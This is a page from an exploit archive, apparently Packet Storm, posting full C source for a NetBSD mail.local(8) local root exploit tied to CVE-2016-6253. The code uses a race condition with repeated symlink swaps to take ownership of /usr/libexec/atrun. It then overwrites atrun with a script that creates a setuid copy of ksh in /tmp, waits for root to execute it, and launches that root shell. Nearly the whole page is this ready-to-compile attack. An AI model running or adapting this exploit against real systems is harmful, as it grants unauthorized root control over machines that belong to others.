what you don't know can hurt you

NetBSD mail.local(8) Local Root

NetBSD mail.local(8) Local Root
Posted Jul 22, 2016
Authored by Akat1

NetBSD mail.local(8) local root exploit that leverages a race condition as noted in NetBSD-SA2016-006.

tags | exploit, local, root
systems | netbsd
advisories | CVE-2016-6253
MD5 | da3f7174a3da6c72191ca5cb6e44a124

NetBSD mail.local(8) Local Root

Change Mirror Download
// Source: http://akat1.pl/?id=2

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <stdlib.h>
#include <string.h>
#include <err.h>
#include <sys/wait.h>

#define ATRUNPATH "/usr/libexec/atrun"
#define MAILDIR "/var/mail"

static int
overwrite_atrun(void)
{
char *script = "#! /bin/sh\n"
"cp /bin/ksh /tmp/ksh\n"
"chmod +s /tmp/ksh\n";
size_t size;
FILE *fh;
int rv = 0;

fh = fopen(ATRUNPATH, "wb");

if (fh == NULL) {
rv = -1;
goto out;
}

size = strlen(script);
if (size != fwrite(script, 1, strlen(script), fh)) {
rv = -1;
goto out;
}

out:
if (fh != NULL && fclose(fh) != 0)
rv = -1;

return rv;
}

static int
copy_file(const char *from, const char *dest, int create)
{
char buf[1024];
FILE *in = NULL, *out = NULL;
size_t size;
int rv = 0, fd;

in = fopen(from, "rb");
if (create == 0)
out = fopen(dest, "wb");
else {
fd = open(dest, O_WRONLY | O_EXCL | O_CREAT, S_IRUSR |
S_IWUSR);
if (fd == -1) {
rv = -1;
goto out;
}
out = fdopen(fd, "wb");
}

if (in == NULL || out == NULL) {
rv = -1;
goto out;
}

while ((size = fread(&buf, 1, sizeof(buf), in)) > 0) {
if (fwrite(&buf, 1, size, in) != 0) {
rv = -1;
goto out;
}
}

out:
if (in != NULL && fclose(in) != 0)
rv = -1;
if (out != NULL && fclose(out) != 0)
rv = -1;

return rv;
}

int
main()
{
pid_t pid;
uid_t uid;
struct stat sb;
char *login, *mailbox, *mailbox_backup = NULL, *atrun_backup, *buf;

umask(0077);

login = getlogin();

if (login == NULL)
err(EXIT_FAILURE, "who are you?");

uid = getuid();

asprintf(&mailbox, MAILDIR "/%s", login);

if (mailbox == NULL)
err(EXIT_FAILURE, NULL);

if (access(mailbox, F_OK) != -1) {
/* backup mailbox */
asprintf(&mailbox_backup, "/tmp/%s", login);
if (mailbox_backup == NULL)
err(EXIT_FAILURE, NULL);
}

if (mailbox_backup != NULL) {
fprintf(stderr, "[+] backup mailbox %s to %s\n", mailbox,
mailbox_backup);

if (copy_file(mailbox, mailbox_backup, 1))
err(EXIT_FAILURE, "[-] failed");
}

/* backup atrun(1) */
atrun_backup = strdup("/tmp/atrun");
if (atrun_backup == NULL)
err(EXIT_FAILURE, NULL);

fprintf(stderr, "[+] backup atrun(1) %s to %s\n", ATRUNPATH,
atrun_backup);

if (copy_file(ATRUNPATH, atrun_backup, 1))
err(EXIT_FAILURE, "[-] failed");

/* win the race */
fprintf(stderr, "[+] try to steal %s file\n", ATRUNPATH);

switch (pid = fork()) {
case -1:
err(EXIT_FAILURE, NULL);
/* NOTREACHED */

case 0:
asprintf(&buf, "echo x | /usr/libexec/mail.local -f xxx %s "
"2> /dev/null", login);

for(;;)
system(buf);
/* NOTREACHED */

default:
umask(0022);
for(;;) {
int fd;
unlink(mailbox);
symlink(ATRUNPATH, mailbox);
sync();
unlink(mailbox);
fd = open(mailbox, O_CREAT, S_IRUSR | S_IWUSR);
close(fd);
sync();
if (lstat(ATRUNPATH, &sb) == 0) {
if (sb.st_uid == uid) {
kill(pid, 9);
fprintf(stderr, "[+] won race!\n");
break;
}
}
}
break;
}
(void)waitpid(pid, NULL, 0);

if (mailbox_backup != NULL) {
/* restore mailbox */
fprintf(stderr, "[+] restore mailbox %s to %s\n",
mailbox_backup, mailbox);

if (copy_file(mailbox_backup, mailbox, 0))
err(EXIT_FAILURE, "[-] failed");
if (unlink(mailbox_backup) != 0)
err(EXIT_FAILURE, "[-] failed");
}

/* overwrite atrun */
fprintf(stderr, "[+] overwriting atrun(1)\n");

if (chmod(ATRUNPATH, 0755) != 0)
err(EXIT_FAILURE, NULL);

if (overwrite_atrun())
err(EXIT_FAILURE, NULL);

fprintf(stderr, "[+] waiting for atrun(1) execution...\n");

for(;;sleep(1)) {
if (access("/tmp/ksh", F_OK) != -1)
break;
}

/* restore atrun */
fprintf(stderr, "[+] restore atrun(1) %s to %s\n", atrun_backup,
ATRUNPATH);

if (copy_file(atrun_backup, ATRUNPATH, 0))
err(EXIT_FAILURE, "[-] failed");
if (unlink(atrun_backup) != 0)
err(EXIT_FAILURE, "[-] failed");

if (chmod(ATRUNPATH, 0555) != 0)
err(EXIT_FAILURE, NULL);

fprintf(stderr, "[+] done! Don't forget to change atrun(1) "
"ownership.\n");
fprintf(stderr, "Enjoy your shell:\n");

execl("/tmp/ksh", "ksh", NULL);

return 0;
}


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    15 Files
  • 2
    Oct 2nd
    16 Files
  • 3
    Oct 3rd
    15 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    11 Files
  • 6
    Oct 6th
    6 Files
  • 7
    Oct 7th
    2 Files
  • 8
    Oct 8th
    1 Files
  • 9
    Oct 9th
    13 Files
  • 10
    Oct 10th
    16 Files
  • 11
    Oct 11th
    15 Files
  • 12
    Oct 12th
    23 Files
  • 13
    Oct 13th
    13 Files
  • 14
    Oct 14th
    12 Files
  • 15
    Oct 15th
    2 Files
  • 16
    Oct 16th
    16 Files
  • 17
    Oct 17th
    16 Files
  • 18
    Oct 18th
    15 Files
  • 19
    Oct 19th
    10 Files
  • 20
    Oct 20th
    7 Files
  • 21
    Oct 21st
    4 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close